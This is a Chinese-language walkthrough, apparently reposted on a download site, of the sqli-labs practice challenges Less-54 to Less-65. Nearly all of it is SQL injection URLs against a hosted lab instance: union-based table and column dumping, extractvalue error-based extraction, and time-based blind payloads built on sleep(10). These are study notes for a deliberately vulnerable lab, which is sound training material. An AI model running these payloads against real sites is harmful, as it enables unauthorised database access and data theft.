sqli_labs学习笔记(一)Less-54~Less-65

软件发布|下载排行|最新软件

当前位置:首页IT学院IT技术

sqli_labs学习笔记(一)Less-54~Less-65

joker_vip   2020-02-03 我要评论

续上,开门见山


 

暴库:

http://43.247.91.228:84/Less-54/?id=-1' union select 1,2,database() --+

 

challenges

 

爆表:

http://43.247.91.228:84/Less-54/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

 

VYKE8MDNKB

 

暴列:

http://43.247.91.228:84/Less-54/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='VYKE8MDNKB' --+

 

猜测secret_SXUW 是key

 

暴值:

http://43.247.91.228:84/Less-54/?id=-1' union select 1,2,group_concat(secret_SXUW) from challenges.VYKE8MDNKB --+

 


 

思路同上54 ,只不过多一个括号?id=0) 次数为14次

 

 

爆表:

http://43.247.91.228:84/Less-55/?id=-1) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

 

VYKE8MDNKB

 

暴列:

http://43.247.91.228:84/Less-55/?id=-1) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='VYKE8MDNKB' --+

 

secret_SXUW

 

暴值:

http://43.247.91.228:84/Less-55/?id=-1) union select 1,2,group_concat(secret_SXUW) from VYKE8MDNKB --+

 


 

思路同上54,55。只不过多一个单引号和括号?id=0’) 次数为14次

 

 


 

思路同上,只不过 id=”.$id.” 这里进行了双引号闭合 

 


 

执行sql 语句后,并没有返回数据库当中的数据,所以我们这里不能使用 union 联合注入,这里使用报错注入。

 

爆表:

http://43.247.91.228:84/Less-58/?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

 

EZ6LZXJARY

 

暴列:

http://43.247.91.228:84/Less-58/?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='EZ6LZXJARY'))) --+

 

secret_B91Y

 

 

 

暴值:

http://43.247.91.228:84/Less-58/?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(secret_B91Y) from EZ6LZXJARY))) --+

 

s4zRNgMzckNdj5E91NqvgYZx

 


 

同58,只不过没有单引号 

 


 

 

同59,只不过多了双引号和括号?id=0”) 

 


 

同上,只不过多了两个括号和一个双引号?id=0’)) 

 


 

此处union和报错注入都已经失效了,那我们就要使用延时注入了。

 

?id=1’)and If(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=‘challenges’),1,1))=79,0,sleep(10))–+

 

当正确的时候时间很短,当错误的时候时间大于 10 秒,此时可以利用脚本进行尝试。前面报错型盲注部分有完整代码

 


 

同上62,只不过是单引号

payload:?id=0%27and%20If(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27),1,1))=77,0,sleep(10))–+

正确时间短,错误时间长

 


 

同上63,只不过是双括号

payload:?id=0))and%20If(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27),1,1))=77,0,sleep(10))–+

正确时间短,错误时间长

 


 

同上,只不过?id=1”)

payload:?id=1%22)and%20If(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27),1,1))=79,0,sleep(10))–+

 


 

  感谢看雪提供的学习平台

sqli_labs完

Copyright 2022 版权所有 软件发布 访问手机版

声明:所有软件和文章来自软件开发商或者作者 如有异议 请与本站联系 联系我们